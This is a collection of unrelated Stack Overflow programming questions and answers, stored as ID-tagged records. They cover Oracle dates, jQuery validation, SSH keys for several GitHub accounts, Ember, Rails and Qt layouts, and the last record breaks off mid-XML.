21990399	0	 <p>If you do not know the default date format of your database, you should <a href="http://docs.oracle.com/cd/B19306_01/server.102/b14200/sql_elements004.htm" rel="nofollow">use a mask</a> and the to_date() function, like:</p> <pre><code>insert into emp_company values ('ANIL','ACC',1500.00,to_date('01-05-89', 'DD-MM-RR')); </code></pre> <p>Also, I'm not sure this is always the case, but I've never encountered an Oracle database that did not use the 'DD-MON-YY' as the default date format (so '01-MAY-89').</p>
40181754	0	 <p>As c# knows the unicode values you can use</p> <pre><code>letter=(char)randomNumber; </code></pre> <p>although random a number between 97 and 122 as use did will random a lower case letter. If you want to random an uppercase letter like you quoted take a look in the unicode table for upper case unicode values. <a href="http://unicode-table.com/en/" rel="nofollow">http://unicode-table.com/en/</a></p>
3946573	0	 <p>You'll get warnings if you access a class variable before it's been created if you're running in a strict mode, but otherwise you can define them anywhere - on that score PHP doesn't care at all if you do it first thing in the class or deep within the bowels of a method</p>
25157694	0	 <p><a href="http://www.cplusplus.com/forum/general/33653/">http://www.cplusplus.com/forum/general/33653/</a></p> <p>You can add the "\" anywhere in the code and newline will be ignored.</p> <p>As a better reference the 2.2 paragraph of the standard:</p> <blockquote> <p>Each instance of a backslash character () immediately followed by a new-line character is deleted, splicing physical source lines to form logical source lines. Only the last backslash on any physical source line shall be eligible for being part of such a splice. If, as a result, a character sequence that matches the syntax of a universal-character-name is produced, the behavior is undefined. A source file that is not empty and that does not end in a new-line character, or that ends in a new-line character immediately preceded by a backslash character before any such splicing takes place, shall be processed as if an additional new-line character were appended to the file.</p> </blockquote> <p>This is not clear regarding what happens if the last character in the file is a backslash. In such a case, presumably the result of adding the newline should not be a line splice but rather a backslash preprocessing-token (that will be diagnosed as an invalid token in phase 7), but that should be spelled out.</p>
37979199	0	 <p>There might be a simpler way, but this combo of dplyr and tidyr works:</p> <pre><code>library(dplyr) library(tidyr) data3 &lt;- data1 %&gt;% group_by(tag) %&gt;% mutate(obstag = paste0("Obs", seq_along(Obs)), # Add markers eftag = paste0("Ef", seq_along(Effect)), altag = paste0("A", seq_along(Allele))) %&gt;% spread(altag, Allele) %&gt;% # Switch from rows to columns spread(obstag, Obs) %&gt;% spread(eftag, Effect) %&gt;% summarise_each(funs(unique(na.omit(.))), 1:Ef3) %&gt;% # Collapse into one row per tag mutate(Allele = paste(A1, A2, A3, sep = "/")) %&gt;% # paste alleles together select(-A1, -A2, -A3, -tag) # drop unwanted columns </code></pre>
9559557	0	 <p>Using <code>invalidHandler</code> is one way to do this, but if you use the <code>errorContainer</code> option, jQuery validate will take care of hiding and showing the message for you. For example:</p> <p><strong>Html:</strong></p> <pre><code>&lt;form id="test"&gt; &lt;label for="name"&gt;Name&lt;/label&gt; &lt;input id="name" type="text" name="name" class="required"/&gt; &lt;label for="age"&gt;Age&lt;/label&gt; &lt;input id="age" type="text" name="age" class="required"/&gt; &lt;input type="submit" /&gt; &lt;/form&gt; &lt;div id="invalid"&gt;You have errors the on page&lt;/div&gt;​ </code></pre> <p><strong>CSS</strong></p> <pre><code>#invalid { display: none; } </code></pre> <p><strong>JavaScript:</strong></p> <pre><code>$("#test").validate({ errorContainer: "#invalid" }); </code></pre> <p><strong>Example:</strong> <a href="http://jsfiddle.net/andrewwhitaker/deArQ/" rel="nofollow">http://jsfiddle.net/andrewwhitaker/deArQ/</a></p>
12629831	0	 <p>Answer from author of the library. Example linked <a href="https://github.com/mikejarema/em-whois/blob/master/examples/async_parallel_whois.rb" rel="nofollow">here</a>.</p> <pre><code>$: &lt;&lt; File.dirname(__FILE__) + '/../lib' require 'em-whois' require 'atomic' # Asynchronous, parallel multi-domain WHOIS lookup domains = ARGV.empty? ? ["github.com", "google.com", "bing.com", "yahoo.com", "mikejarema.com"] : ARGV whois = {} EM.synchrony do # Progress indicator EM.add_periodic_timer(0.1) do STDERR.print "." end # Exit condition EM.add_periodic_timer(0.1) do if domains.size == whois.keys.size puts "" whois.each do |k,v| if v.properties[:available?] puts "#{k}: available" else puts "#{k}: taken, expires #{v.properties[:expires_on]}" end end EM.stop end end # Async WHOIS lookup - fire and forget via parallel fibers domains.each do |i| Fiber.new do whois[i] = Whois.whois(i) end.resume end end </code></pre>
12654110	0	Can not seem to change SSL cert on httpd server <p>I am trying to setup SSL using httpd server. At I created self cert and it worked fine, of course displaying brocker lock in browsers.</p> <p>Now I got proper entrust cert but I can not seem to replace the old one. browser shows broken lock and when i open certificate info box it still does not show company name or proper server name, even though it has been changed.</p> <p>how do you properly replace SSL certificate?</p>
4510761	0	 <p>you can use regular expression </p> <pre><code>import re y = "xdtwkeltjwlkejt7wthwk89lk" s = re.search("\d",y).start() </code></pre>
12721062	0	 <p>First of all, you've got <code>UIViewContentModeScaleAspectFit</code> in your code, not <code>UIViewContentModeScaleToFill</code> as you've said. Post an original image, please.<br> Second, the 'change width of frame' part is useless, <code>imageView.size.width</code> is already set to <code>200</code>. Scaling modes don't change view's frame at all, they change the way it shows its content.</p> <p>I don't know what's the 'correct position' you are talking about, but try to make <code>imageView</code> fullscreen like this: </p> <pre><code>UIImageView *imageView = [[UIImageView alloc] initWithImage:image]; imageView.contentMode = UIViewContentModeScaleToFill; imageView.frame = self.view.frame; </code></pre>
41001881	0	Bootstrap Datepicker doesn't return selected dates after changeDate event within Ember.js <p>I created an Ember.js component called <code>date-picker-multi.js</code> using the <a href="https://bootstrap-datepicker.readthedocs.io/en/latest/" rel="nofollow noreferrer">Bootstrap Datepicker</a> JavaScript plugin. I am trying to get the dates within both the input fields (from the date range) whenever the user selects a different date.</p> <p>As per the Bootstrap Datepicker component's <a href="https://bootstrap-datepicker.readthedocs.io/en/latest/events.html#changedate" rel="nofollow noreferrer">changeDate event</a>, I should be able to get both the dates by accessing <code>e.dates</code> however, when I do this, I get an array with just one item in it like this:</p> <pre><code>[Fri Dec 09 2016 00:00:00 GMT+0530 (IST)] </code></pre> <p>This is what my <code>date-picker-multi.js</code> component looks like:</p> <pre><code>import Ember from 'ember'; export default Ember.Component.extend({ tagName: 'div', maxViewMode: 1, autoclose: true, format: null, startDate: undefined, todayHighlight: true, datesDisabled: [], actualDates: null, // Store computer-friendly dates here didInsertElement() { this._super(...arguments); let self = this; // initiate jquery datepicker library let options = { maxViewMode: this.get('maxViewMode'), autoclose: this.get('autoclose'), todayHighlight: this.get('todayHighlight') }; if (this.get('format')) { options.format = this.get('format'); } if (this.get('startDate')) { options.startDate = this.get('startDate'); } if (this.get('datesDisabled') &amp;&amp; Ember.isArray(this.get('datesDisabled'))) { options.datesDisabled = this.get('datesDisabled'); } this.$().datepicker(options).on('changeDate', function(e) { console.log(e.dates); }); }, willDestroyElement: function() { //remove all event handlers on this component this.$().off(); } }); </code></pre> <p>Observe my <code>console.log(e.dates);</code> inside the <code>changeDate</code> event.</p> <p>This is how I am calling the component in my Handlebars file:</p> <pre><code>{{#date-picker-multi class="input-daterange input-group" id="datepicker" format='d MM' actualValues=data.dates}} {{input required="true" type="text" class="input-sm form-control date-icon" name="start" value=data.depart}} &lt;span class="input-group-addon"&gt;to&lt;/span&gt; {{input required="true" type="text" class="input-sm form-control date-icon" name="end" value=data.return}} {{/date-picker-multi}} </code></pre> <p>I can't figure out what the issue is. Does anyone know why this might be happening?</p>
5827126	0	 <p>Are you sure it's an issue with imread? I'd be surprised if it is.</p> <p>See <a href="http://www.mathworks.com/help/toolbox/images/ref/medfilt2.html" rel="nofollow">this link about medfilt2</a> where it explains that "medfilt2 pads the image with 0s on the edges, so the median values for the points within [m n]/2 of the edges might appear distorted."</p> <p>EDIT: I tried to replicate your problem. This is an issue with <code>print</code> where it puts a white frame around the image after you save it. This functionality, <code>print</code> is made for printing plots. If you want to save the image, you should use <code>imwrite</code>.</p>
3941320	0	 <p>If you try calling malloc from two separate threads (unless you have a thread-safe version, not guaranteed by C standard), bad things happen, because there's only one heap for two threads. Same for printf- the behaviour is undefined. That's what makes them in reality non-reentrant.</p>
2291633	0	 <p>In <a href="http://www.atalasoft.com" rel="nofollow noreferrer">my company</a>'s toolkit, we implemented a technology we call <a href="http://www.atalasoft.com/products/dotimage/docs/RemoteInvoke.html" rel="nofollow noreferrer">remote invoke</a>. This consists of two parts - on the client side, there is a javascript method called RemoteInvoke() which takes a method name and an array of arguments to pass to the method. On the server side, you decorate a public method you would like to call with the attribute [RemoteInvokable]. RemoteInvoke matches signature as best as it can (type casting if needed) and then called the appropriate public method (if it found one).</p> <p>It's not for things as simple as click actions, but it if you need more complicated things, it will work just great.</p>
35823384	0	 <p>Whats you did id the right way to do it all.</p> <p>Its described here as well: <a href="http://stackoverflow.com/questions/34634132/managing-two-ssh-keys/34634893#34634893">Managing two ssh keys</a></p> <p>Looks like you did not add the keys to your remote server.</p> <hr> <h2>Multiple SSH Keys settings for different github account:</h2> <p><a href="https://gist.github.com/jexchan/2351996" rel="nofollow">https://gist.github.com/jexchan/2351996</a></p> <hr> <h2><strong><em><code>create different public key</code></em></strong></h2> <p>create different ssh key according the article Mac Set-Up Git</p> <pre><code>$ ssh-keygen -t rsa -C "your_email@youremail.com" </code></pre> <p>for example, 2 keys created at:</p> <pre><code>~/.ssh/id_rsa_activehacker ~/.ssh/id_rsa_jexchan </code></pre> <h2><strong><em><code>Add these two keys to the ssh-agent:</code></em></strong></h2> <pre><code>$ ssh-add ~/.ssh/id_rsa_activehacker $ ssh-add ~/.ssh/id_rsa_jexchan you can delete all cached keys before $ ssh-add -D </code></pre> <h2><strong><em><code>check your keys</code></em></strong></h2> <pre><code>$ ssh-add -l </code></pre> <h2><strong><em><code>Modify the ssh config</code></em></strong></h2> <pre><code>$ cd ~/.ssh/ $ touch config $ subl -a config </code></pre> <h3><code>Add the keys to the config file:</code>***</h3> <pre><code>#activehacker account Host github.com-activehacker HostName github.com User git IdentityFile ~/.ssh/id_rsa_activehacker #jexchan account Host github.com-jexchan HostName github.com User git IdentityFile ~/.ssh/id_rsa_jexchan </code></pre> <h2><strong><em><code>Clone you repo and modify your Git config</code></em></strong></h2> <pre><code># clone your repo git clone git@github.com:activehacker/gfs.git gfs_jexchan cd gfs_jexchan and modify git config $ git config user.name "jexchan" $ git config user.email "jexchan@gmail.com" $ git config user.name "activehacker" $ git config user.email "jexlab@gmail.com" # or you can have global git config $ git config --global user.name "jexchan" git config --global user.email "jexchan@gmail.com" </code></pre> <h2><strong><em><code>push your code</code></em></strong></h2> <pre><code>git add . git commit -m "your comments" git push </code></pre>
35246610	0	 <p>The solution was to use destroy and create a callback to automatically do a deep cascading.</p> <pre><code>class Place &lt; ActiveRecord::Base before_destroy :delete_children_objects has_many :place_uploads, :dependent =&gt; :destroy protected def delete_children_objects @places = PlaceUpload.where(place_id: id) @places.each do |place| TagsCustomer.where(place_upload_id: place.id).destroy_all Match.where(place_upload_id: place.id).destroy_all end end end </code></pre>
23241068	0	Linking a div without javascript? <p>It's a very simple question, you may say that i can do this:</p> <pre><code>&lt;a href="link"&gt;&lt;div&gt;&lt;/div&gt;&lt;/a&gt; </code></pre> <p>but when i hover the div (110x74)px it hovers all across the width of the page, as if the div has a width of 100%, so when i click on blank part of the page it acts like if there's a link there, ideas? thanks</p> <p>I also tried with javascript and it worked but many smartphones can't support it.</p>
10899761	0	C# - Passing an anonymous function as a parameter <p>I'm using FluentData as an orm for my database and I'm trying to create a generic query method:</p> <pre><code>internal static T QueryObject&lt;T&gt;(string sql, object[] param, Func&lt;dynamic, T&gt; mapper) { return MyDb.Sql(sql, param).QueryNoAutoMap&lt;T&gt;(mapper).FirstOrDefault(); } </code></pre> <p>Except in my class's function:</p> <pre><code>public class MyDbObject { public int Id { get; set; } } public static MyDbObject mapper(dynamic row) { return new MyDbObject { Id = row.Id }; } public static MyDbObject GetDbObjectFromTable(int id) { string sql = @"SELECT Id FROM MyTable WHERE Id=@Id"; dynamic param = new {Id = id}; return Query&lt;MyDbObject&gt;(sql, param, mapper); } </code></pre> <p>at <code>Query&lt;MyDbObject&gt;(sql, param, mapper)</code> the compilers says:</p> <p><code>An anonymous function or method group connot be used as a constituent value of a dynamically bound object.</code></p> <p>Anyone have an idea of what this means?</p> <p>Edit:</p> <p>The compiler doesn't complain when I convert the method into a delegate:</p> <pre><code>public static Func&lt;dynamic, MyDbObject&gt; TableToMyDbObject = (row) =&gt; new MyDbObject { Id = row.Id } </code></pre> <p>It still begs the question of why one way is valid but not the other.</p>
37610622	0	Java implicit Overloading <p>Let's say I have a method called <em>order</em>(), which receives 3 parameters (arg0, arg1, arg2) and determine whether arg0 &lt; arg1 &lt; arg2. I want this method to be able to work on both integers and Strings. How should I perform the overloading? instead of declaring:</p> <pre><code> 1. order(int, int, int) 2. order(int, String, int) 3. order(int, int, String) 4. order(int, String, String) 5. order(String, int, int) 6. order(String, String, int) 7. order(String, int, String) 8. order(String, String, String) </code></pre> <p>Thank you</p>
9743948	0	 <p>It's best if you can add a field that will not display on the application for the file unique_id in the table and then use that in a join to the data to populate the child tables. But sometimes you can't mess with the structure of a database especially if it is a COTS product. </p> <p>We have a sneaky trick for that. First load the data to a staging table (adding an identity if the file has no unique identifier on it's own) and an empty field for the parent_id. </p> <p>Next put the unique identifier into some other required field instead of its normal value (We use last_name but if you have one taht is the same datatype as the uniqueid that's better). Then you can join on the required field and the uniqueid from the staging table to update it to get the real parentid. Then update the field where you stored the temporary id with its real value (becasue now you can use teh real parent_id). Now you have the real parent_id in a table, the data flows for the child tables can join to that. This creates more work for the database, so only use it if you can't change the structure. </p> <p>Alternatively you can do all the inserting from a staging table using a stored proc and the execute SQL task rather than in a dataflow.</p>
7921648	0	In Perl, can refer to an array using its name? <p>I'm new to Perl and I understand you can call functions by name, like this: <code>&amp;$functionName();</code>. However, I'd like to use an array by name. Is this possible?</p> <p>Long code:</p> <pre><code>sub print_species_names { my $species = shift(@_); my @cats = ("Jeffry", "Owen"); my @dogs = ("Duke", "Lassie"); switch ($species) { case "cats" { foreach (@cats) { print $_ . "\n"; } } case "dogs" { foreach (@dogs) { print $_ . "\n"; } } } } </code></pre> <p>Seeking shorter code similar to this:</p> <pre><code>sub print_species_names { my $species = shift(@_); my @cats = ("Jeffry", "Owen"); my @dogs = ("Duke", "Lassie"); foreach (@&lt;$species&gt;) { print $_ . "\n"; } } </code></pre>
3219863	0	 <p>In addition to what others have said, pointers are <em>necessary</em> for dynamic memory allocation (this also applys to higher level languages, but is (usually) abstracted away). This means that without pointers, you're limited to the (generally rather small) stack memory, which is more in need of conservation.</p>
14984100	0	How to control text in edittext with textwatcher <p>So I'm trying to make user insert text with some format that should be xx.xxxx. For that I'm using textwatcher class. Here is my class:</p> <pre><code>edittext.addTextChangedListener(new TextWatcher() { @Override public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void afterTextChanged(Editable s) { EditText edittext = (EditText) findViewById(R.id.my_edit); if(edittext.getText().length()==2)edittext.setText(edittext.getText().toString()+"."); } }); </code></pre> <p>So i basicly just add '.' if length after editing is 2. But after i do that it set my cursor to start of the text field and when i try to delete dot it just recreate it because length is again 2. I know there is some solution but it seems i can't figure it out today :S</p>
10809678	0	 <p>The reason is that your <em>PageMethods.GetMarkers</em> is asynchronous, so the data hasn't loaded when you invoke <em>DrawMap</em>. I guess when you use the alert, it pauses execution long enough for the data to load. Put the <em>DrawMap</em> method inside the <em>OnSuccess</em> of the page method, and that should solve the problem.</p>
37678896	0	 <p>There are several ways you can do this.</p> <p>It looks like you have four columns and 40,000 lines, correct?</p> <p>Then you can do the following. First, I will assume there is no header data in the ASCII file for the following commands.</p> <pre><code>FUNCTION read_my_file,file_name ;; Assume FILE_NAME is full path to and including file name with extension fname = file_name[0] ;; One could also find the file with the following ;; fname = FILE_SEARCH([path to file],[file name with extension]) ;; Define the number of lines in the file nl = FILE_LINES(fname[0]) ;; Define empty arrays to fill col1 = DBLARR(nl[0]) col2 = DBLARR(nl[0]) col3 = DBLARR(nl[0]) col4 = DBLARR(nl[0]) dumb = DBLARR(4) ;; Open file OPENR,gunit,fname[0],ERROR=err,/GET_LUN IF (err NE 0) THEN PRINT, -2, !ERROR_STATE.MSG ;; Prints an error message FOR n=0L, nl[0] - 1L DO BEGIN ;; Read in file data READF,gunit,FORMAT='(4d)',dumb ;; Fill arrays col1[n] = dumb[0] col2[n] = dumb[1] col3[n] = dumb[2] col4[n] = dumb[3] ENDFOR ;; Close file FREE_LUN,gunit ;; Define output output = [[col1],[col2],[col3],[col4]] ;; Return to calling routine RETURN,output END </code></pre> <p>Note that this will work better if you provide an explicit width for the format statement, e.g., <code>'(4d15.5)</code>, which means a 15 character input with 5 decimal places.</p> <p>This will return <code>col1</code> through <code>col4</code> to the user or calling routine as an [N,4]-element array, e.g., <code>col1 = output[*,0]</code>. You could use a structure where each tag contains one of the <code>colj</code> arrays or you could return them through <code>keywords</code>.</p> <p>Then you can pass these arrays to another function/program in the following way:</p> <pre><code>PRO my_algorithm_wrapper,file_name,RESULTS=results ;; Get data from files columns = read_my_file(file_name) ;; Pass data to [algorithm] function results = my_algorithm(columns[*,0],columns[*,1],columns[*,2],columns[*,3]) ;; Return to user RETURN END </code></pre> <p>To call this from the command line (after making sure both routines are compiled), you would do something like the following:</p> <pre><code>IDL&gt; my_algorithm_wrapper,file_name,RESULTS=results IDL&gt; HELP,results ;; see what the function my_algorithm.pro returned </code></pre> <p>The above code should work with IDL 6.2.</p> <h1><strong>General Notes</strong></h1> <ol> <li>Try to avoid using uppercase letters in IDL routine names as it can cause issues when IDL searches for the routine during a call or compilation statement.</li> <li>You need to name the program/function in the line with the <code>PRO</code>/<code>FUNCTION</code> statement at the beginning of the file. The name must come immediately after the <code>PRO</code>/<code>FUNCTION</code> statement.</li> <li>It is generally wise to use explicit formatting statements to avoid ambiguities/errors when reading data files.</li> <li>You can pass any variable type (e.g., scalar integer, array, structure, object, etc.) to programs/functions so long as they are handled appropriately within the program/function.</li> </ol>
24866240	0	File contents not being read in nodejs program <p>I have a file temp.js that contains text as below:</p> <pre><code>module.config = { key1 : 'value1', key2 : 'value2', key3 : ['abc','def'] } </code></pre> <p>I am reading the file as below:</p> <pre><code>fs.readFile('/temp.js', function(err,fileContents) { console.log(fileContents); }); </code></pre> <p>on the output I am getting values as below:</p> <pre><code>&lt;Buffer 6d 6f ..... ...&gt; </code></pre> <p>What am i missing here ?</p>
2177194	0	 <pre><code>switch($argv[$i]) { case '-V': case '--version': $displayVersion = true; break; } </code></pre>
25223969	0	 <p>I guess the problem is that you're not clearing <code>velocity.y</code> in your <code>update</code> function like this:</p> <pre><code>function update() { player.body.velocity.x = 0; player.body.velocity.y = 0; // below is your code from the question } </code></pre>
20666886	0	 <p>You need to open the file before writing to it. Your <code>HANDLE hFind</code> is just a handle to iterate over directories/files, not an open handle to a file.</p> <p>Use <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx">CreateFile</a>() to open the file</p>
38183260	0	RallyRestToolkitForRuby - Unable to pull user permissions <p>Am trying to use <a href="https://github.com/RallyTools/RallyRestToolkitForRuby" rel="nofollow">https://github.com/RallyTools/RallyRestToolkitForRuby</a> to pull permissions of all users in my Rally Subscription. My authentication is through API Key. It fails with below error:</p> <p>C:\Users\Administrator\Desktop\Rally-User-Management-master\Rally-User-Management-master>user_permissions_summary.rb Connecting to Rally: <a href="https://rally1.rallydev.com/slm" rel="nofollow">https://rally1.rallydev.com/slm</a> as ganra08@ca.com... Running initial query of users... Found a total of 12392 Enabled Users. Summarizing users and writing permission summary output file... C:/Users/Administrator/Desktop/Rally-User-Management-master/Rally-User-Management-master/lib/go_user_permissions_summary.rb:224:in <code>block (2 levels) in go_user_permissions_summary' C:/Ruby22-x64/lib/ruby/gems/2.2.0/gems/rally_api-1.2.1/lib/rally_api/rally_colle ction.rb:36:in</code>each' C:/Ruby22-x64/lib/ruby/gems/2.2.0/gems/rally_api-1.2.1/lib/rally_api/rally_collection.rb:36:in <code>each' C:/Users/Administrator/Desktop/Rally-User-Management-master/Rally-User-Management-master/lib/go_user_permissions_summary.rb:201:in</code>block in go_user_permissions_summary' C:/Ruby22-x64/lib/ruby/gems/2.2.0/gems/rally_api-1.2.1/lib/rally_api/rally_query_result.rb:22:in <code>block in each' C:/Ruby22-x64/lib/ruby/gems/2.2.0/gems/rally_api-1.2.1/lib/rally_api/rally_query_result.rb:21:in</code>each' C:/Ruby22-x64/lib/ruby/gems/2.2.0/gems/rally_api-1.2.1/lib/rally_api/rally_query_result.rb:21:in <code>each' C:/Users/Administrator/Desktop/Rally-User-Management-master/Rally-User-Management-master/lib/go_user_permissions_summary.rb:180:in</code>go_user_permissions_summary'</p> <p>C:/Users/Administrator/Desktop/Rally-User-Management-master/Rally-User-Management-master/<strong>user_permissions_summary.rb:38:in <code>&lt;main&gt;' undefined method</code>[]' for nil:NilClass</strong></p> <p>How do i get over this error? The Readme.pdf in the GitHub page provides no info about this. </p>
7280763	0	 <p>Are you willing to pay for it? Most of the big third party vendors e.g. Infragistics, Telerik etc have such a control. Here is a link to a demo of the Infragistics tag control:</p> <p><a href="http://samples.infragistics.com/sllob/ComponentOverview.aspx?cn=tag-cloud" rel="nofollow">http://samples.infragistics.com/sllob/ComponentOverview.aspx?cn=tag-cloud</a></p>
29516434	0	 <p>1)If you forgot to disable speculative execution, It is possible that multiple instances of given Reducer could run, which would result extra data than expected into RDBMS. 2)Even we need the database driver for client machine, If you plan to connect to RDBMS from that client , it is not needed.</p> <p>So "1" option is correct.</p> <p>I got this solution , Can any body Improve this answer or let me correct If any issues. Thank you </p>
39518714	0	java array outofboundexception <pre><code>public static int[] squeeze(int[] ints) { int i; int[] temp; temp = new int[100]; for (i = 0; i &lt; ints.length; i++) { if (ints[i] != ints[i + 1]) { temp[i] = ints[i]; } else{ while (ints[i] != ints[i + 1]) { i++; } temp[i] = ints[i]; } } return temp; } </code></pre> <p>When I run this code, it gives me arrayOutOfBoundException. Can any body point the error? I am basically checking that no two consecutive numbers in an array are the same and then printing the same array but with a copy of the next number if two consecutive are same.</p>
40294163	0	__WEBPACK_AMD_DEFINE_ARRAY__ is not defined import Jquery with webpack <p>I have tried severally without luck importing jquery to global scope using webpack with below methods , but all throw errors :</p> <p>Try 1 : Expose Loader</p> <p>Used it in my webpack.config as below </p> <pre><code>{ test: require.resolve('jquery'), loader: 'expose?$!expose?jQuery' }, </code></pre> <p>Throws error $ is not defined when i console.log(typeof $)</p> <p>Try 2 : Webpack ProvidePlugin </p> <p>Used it in my webpack.config as below </p> <pre><code>plugins: [ new webpack.ProvidePlugin({ '$': 'jquery', 'jQuery': 'jquery', 'window.jQuery': 'jquery' }) ] </code></pre> <p>throws error <strong>WEBPACK_AMD_DEFINE_ARRAY</strong> is not defined when hot-reloading </p> <p>Am using vue.js V2</p>
11190234	0	 <blockquote> <p>sudo apt-get install libcurl3-dev which to my understanding is a line for a Unix terminal. What is the equivalent command that I can run on Windows to achieve this?</p> </blockquote> <p>if you are looking for something similar like "apt-get", you could have a look at <a href="http://www.wuinstall.com" rel="nofollow">wuinstall</a> . it is for managing windows updates via command line, although it might not be applicable for your specific case, with a second party software.</p>
843617	0	How do I write a search query using Kohana PHP? <p>I have a table (<code>product_shoppingcart</code>) with 4 columns :</p> <pre><code>id, product_id, shoppingcart_id, product_quantity. </code></pre> <p>I'm using Kohana's ORM.</p> <p>I want to write a search query which returns all the rows where the <code>shoppingcart_id</code> column contains 1 (for example).</p> <p>I already tried: </p> <pre><code>$arr = ORM::factory('product_shoppingcart')-&gt;where('shoppingcart_id',$shoppingcartID)-&gt;find_all(); </code></pre> <p>but that doesn't work.</p> <p>Can anyone please help me out?</p>
7268169	0	Django Newbie Question: Activation View Being Called Twice ... 99% of the time - Invalid token error <p>Hi and thank you for looking at my question. When a user clicks activation link in their email, they get a token invalid error page. The user is activated and can use the site. After adding debugging I see that the activation view is being called twice. The first time it works as expected, but the second time the activation key no longer exists so there is an error. Just to make thing more complicated, it does work once in a very blue moon. Why would this happen? How can I prevent this from happening? Thanks!</p>
40364558	0	 <p>You are replacing the value of the input field. You want to append to it. Change <code>$(this).val('*');</code> to <code>$(this).val($(this).val() + '*'));</code></p>
25667333	0	 <p>We fixed this in IRC I believe :-) The problem is that your template <code>ListBlogs</code>has no idea what <code>posts</code> means. You will have to define a helper, so that the <code>{{#each posts}}</code> block gets a meaning.</p> <p>Fortunately this only requires a very quick fix:</p> <pre><code>Template.ListBlogs.posts = function(){ return Blogs.find().fetch(); } </code></pre> <p>Put this in your <code>client/main.js</code> and all posts appear in realtime.</p>
40848364	0	JSP to display ksh script response <p>I have several servers. And on each of the servers, I have a shell script to verify the FileSystem, and some info of some files I parse. This script renders information to the console for example</p> <p>Server 1 fs /usr/user1 free 10 Gb</p> <p>File 100 Processed, File 200 Processed,</p> <p>etc..</p> <p>The script takes about 1 minute to execute completely.</p> <p>I already have a jboss server with a webapp with some servlets. I would like to create a jsp, and a servlet to run these commands on 4 different servers and display the results.</p> <p>Ajax maybe??</p> <p>Thanks in advance</p>
30315449	0	 <p><a href="https://css-tricks.com/fluid-width-equal-height-columns/" rel="nofollow">https://css-tricks.com/fluid-width-equal-height-columns/</a></p> <p>I recommend seeing if any of these tricks work for you.</p>
30477337	0	liquibase database build from scratch <p>When I run liquibase update from scratch, it takes a while as the process fires each changelog one by one. Sometimes my own database changes diverge enough that its easiest to rebuild the database if I want to start again for example.</p> <p>The rebuild would be quickest if I did it from a mysql dump of the result of liquibase at a certain point in the changelogs, and I ignored the changelogs from there previously. So I would delete everything in changelog master except my master build dump changelog, which would be the entire database, and I keep hold of the actual changelogs for version control reasons.</p> <p>Is there a proper/ordained/safe way to do this from liquibase?</p>
19169115	0	Phonegap: Keyboard changes window height in iOS 7 <p>In iOS 6 everything works fine. The keyboard opens and moves the input into view. When the keyboard closes everything goes back where it should.</p> <p>In iOS 7 the keyboard opens fine and the input remains in view. When the keyboard is closed the whole bottom half of the app is gone, though. I've tracked the issue down to the height of the window changing when the keyboard is opened, and not changing back when it's closed.</p> <p>Right before the keyboard is opened the window height is 568 according to $(window).height() and after it's opened and after it's closed it is 828. The height of the document also changes accordingly.</p> <p>I've attempted preventing the window from resizing with:</p> <pre><code>$(window).resize(function(e) { e.preventDefault(); e.stopPropagation(); window.resizeTo(320,480); return false; }); </code></pre> <p>I've also attempted to set the size back after the keyboard closes with no success.</p> <p>I'm using phonegap 2.7 and have KeyboardShrinksView set to true. </p>
27788367	0	Google Apps Script - How to get A1 Notation of a range when you don't know the length <p>I'm sure there is a simple way to do this but I'm spinning wheels trying to figure it out. I have several columns, each of different lengths. I would like to get the A1 notation for each of them, minus a header. I get the index number of the column and then I want to get a range that includes all values under the header. What is the best way to go about this? Probably a trivial solution but thanks for help.</p> <pre><code>function get_range(header) { var data = s.getDataRange().getValues(); var row = data[0]; for( i in row){ if (row[i] == header) { var colinx = parseInt(i)+1; var range = s.getRange(2,colinx,); var notation = range.getA1Notation(); Logger.log(notation); } } } </code></pre>
37901838	0	How QSizePolicy work? <p>From <a href="http://doc.qt.io/qt-4.8/qsizepolicy.html" rel="nofollow noreferrer">qt</a></p> <blockquote> <p>QSizePolicy::Minimum <strong>The sizeHint() is minimal</strong>, and sufficient. The widget can be expanded, but there is no advantage to it being larger (e.g. the horizontal direction of a push button). <strong>It cannot be smaller than the size provided by sizeHint().</strong></p> </blockquote> <p>But what we have?</p> <p><a href="https://i.stack.imgur.com/wgIqw.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wgIqw.jpg" alt="img"></a></p> <p>Both QPushButton size are smaller than the size provided by its sizeHint(). Both QPushButton have horizontal SizePolicy set to Minimum and QGridLayout have layoutConstraint set to SetDefaultConstraint. Why am I seeing this result?</p> <p>XML part of code</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;ui version="4.0"&gt; &lt;class&gt;Widget&lt;/class&gt; &lt;widget class="QWidget" name="Widget"&gt; &lt;property name="enabled"&gt; &lt;bool&gt;true&lt;/bool&gt; &lt;/property&gt; &lt;property name="geometry"&gt; &lt;rect&gt; &lt;x&gt;0&lt;/x&gt; &lt;y&gt;0&lt;/y&gt; &lt;width&gt;175&lt;/width&gt; &lt;height&gt;41&lt;/height&gt; &lt;/rect&gt; &lt;/property&gt; &lt;property name="sizePolicy"&gt; &lt;sizepolicy hsizetype="Preferred" vsizetype="Preferred"&gt; &lt;horstretch&gt;0&lt;/horstretch&gt; &lt;verstretch&gt;0&lt;/verstretch&gt; &lt;/sizepolicy&gt; &lt;/property&gt; &lt;property name="minimumSize"&gt; &lt;size&gt; &lt;width&gt;100&lt;/width&gt; &lt;height&gt;0&lt;/height&gt; &lt;/size&gt; &lt;/property&gt; &lt;property name="sizeIncrement"&gt; &lt;size&gt; &lt;width&gt;0&lt;/width&gt; &lt;height&gt;300&lt;/height&gt; &lt;/size&gt; &lt;/property&gt; &lt;property name="windowTitle"&gt; &lt;string&gt;Form&lt;/string&gt; &lt;/property&gt; &lt;layout class="QHBoxLayout" name="horizontalLayout"&gt; &lt;property name="sizeConstraint"&gt; &lt;enum&gt;QLayout::SetDefaultConstraint&lt;/enum&gt; &lt;/property&gt; &lt;property name="leftMargin"&gt; &lt;number&gt;14&lt;/number&gt; &lt;/property&gt; &lt;item&gt; &lt;widget class="QPushButton" name="pushButton"&gt; &lt;property name="sizePolicy"&gt; &lt;sizepolicy hsizetype="Minimum" vsizetype="Minimum"&gt; &lt;horstretch&gt;0&lt;/horstretch&gt; &lt;verstretch&gt;0&lt;/verstretch&gt; &lt;/sizepolicy&gt; &lt;/property&gt; &lt;property name="layoutDirection"&gt; &lt;enum&gt;Qt::LeftToRight&lt;/enum&gt; &lt;/property&gt; &lt;property name="text"&gt; &lt;string&gt;Minimum&lt;/string&gt; 